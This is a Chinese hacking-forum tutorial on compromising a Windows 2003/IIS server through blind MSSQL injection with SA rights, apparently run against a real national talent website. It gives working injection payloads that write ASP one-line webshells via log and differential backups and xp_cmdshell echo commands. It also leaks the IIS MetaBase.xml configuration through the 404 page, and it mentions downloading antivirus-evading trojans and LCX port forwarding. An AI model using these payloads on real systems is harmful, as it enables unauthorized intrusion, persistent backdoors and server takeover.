sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————

6 W) u0 P( l* s+ F' }
                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
" i+ L8 H8 B$ z
                                                                 
  N2 u, b5 O! U# ^                                                                 
                                                                  论坛： http://www.90team.net/


3 [- |  j1 v0 b: T1 g
- v2 Z; J# Z- [9 ]2 a$ g# ?友情检测国家人才网
+ P' n* U$ i  c8 C
9 }' Y! O6 N2 w2 e. Y. w2 x
内容：MSSQL注入SA权限不显错模式下的入侵


3 u/ T6 N, S2 `/ w0 q2 s% z: @一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。

! i- i: k: o2 U9 W  n& \我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
6 y/ W( m6 _8 w
7 S* ^7 {" X& ~  v9 Z) K% ]
这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
, C. [2 e# v+ s6 C- t
思路：

首先：
4 L0 J" m5 q4 Y9 |: ?& O
; b: Y, r" q4 s: i  o& ?1 R$ O! l通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。

* t7 H" H" t  S! X/ R" W+ z+ n1.日志备份获得Webshell

8 u5 b" Z8 Y# I  B) X2 s2 k2.数据库差异备份获得Webshell

4.直接下载免杀远控木马。
, Y6 _$ ]% X6 A9 s( l3 x5 F! r
5.直接下载LCX将服务器端口转发出来
( x5 c! L& V4 U$ f) |' y% h4 G3 J) ?
6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
+ B3 `( Q. U! s* H5 {5 A, i
: \, _5 L" n/ N7 f+ Z- [$ A
1 V. z/ h. S0 Z
  V) e( a+ A1 |$ e在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，

# b. c2 K! }, _$ i/ `2 j; O, W' K1 G, J我直接演示后面一个方法
' W8 q5 I' ?! g
. Z5 y/ @4 Y3 F
0 [( F5 H9 J* W8 ~8 T6 t# C8 ~分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL


0 `0 y4 R  G8 c1 D+ D6 M

: ~/ _+ v/ i" Q4 I7 t( f" t◆日志备份：
, \6 P& ~. y  f3 J
- g9 |- M( g8 S2 d! p% D$ r
1. 进行初始备份
/ ~' U1 A, G, U! {: W9 j  b; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

4 ?: K! x8 R- Q" R: U5 ?" v( c2. 插入数据
+ I- {3 {" @$ y! D) d; X; e, E" J;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

+ c3 h; Q9 f7 `4 y/ W0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  
2 c) c. e3 @8 d- L1 W0 a! c9 v3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
' I/ B" y9 K* x* g- I0 O: D( \
. H8 |( \# I* \: o

/ x5 D9 P2 M4 X* ^) y( k8 ^◆数据库差异备份

（1. 进行差异备份准备工作

' A% P8 M% q3 N+ k- U;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

" Q% q' h5 k1 i* R上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
' M+ m. @+ t7 W3 W$ k* p

（2. 将数据写入到数据库
# q  |' D; c- J' d6 V. v;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>

3. 备份数据库并清理临时文件

;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
3 A# B- l: N+ p: s9 x$ S/ f$ H
. u2 `) w* y9 Z( x5 ~2 B0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
0 R* `4 P$ c+ J- q' l9 {
  w" p, m( |- r8 r6 W- k
, z9 v( Y9 i# g1 N  q5 z! t
用^转义字符来写ASP(一句话木马)文件的方法:   

1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
5 ^* g2 v4 x3 O$ Z9 [' d
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

- L. _- e# _9 ?# T8 a  C读取IIS配置信息获取web路径

+ d) _) C  W$ ~0 A! F4 Q% X     
     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

执行命令
' U* \4 W9 M& d( Z     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
3 r6 k# N% a' A3 h, _" t

: c/ |/ s, c% A' ^" T& C4 ^3 F
, X0 j0 z. Y8 R% H: ]& K
4 x& e9 t5 @8 A/ S  _" C/ {" h









; l0 U3 g! q& v# T( [


# [0 b% L+ i5 g; L6 P
- N8 ~, k0 R- l# K

" L. }0 F3 `5 }3 |5 t: J

2 u1 P5 ]# F. f8 C1 v
2 ]% ~/ _! W( J# }

& N+ Q7 W$ T. ~7 [" m- j
; L$ k: V, }3 u1 `6 Q' c# k

: }' y8 c" i/ L

: b. s" Q& E2 ~
/ ?. P1 B/ G* v1 U1 x5 r


, K* U1 `' ]. V- B& r3 y




$ C9 B+ @+ x* T, Y0 O



9 U) c) h. u0 {8 {
5 N, I3 H, c$ l5 j% j


# p9 c! b+ w+ ?( r
4 W" c( T, Y) K5 q/ a0 w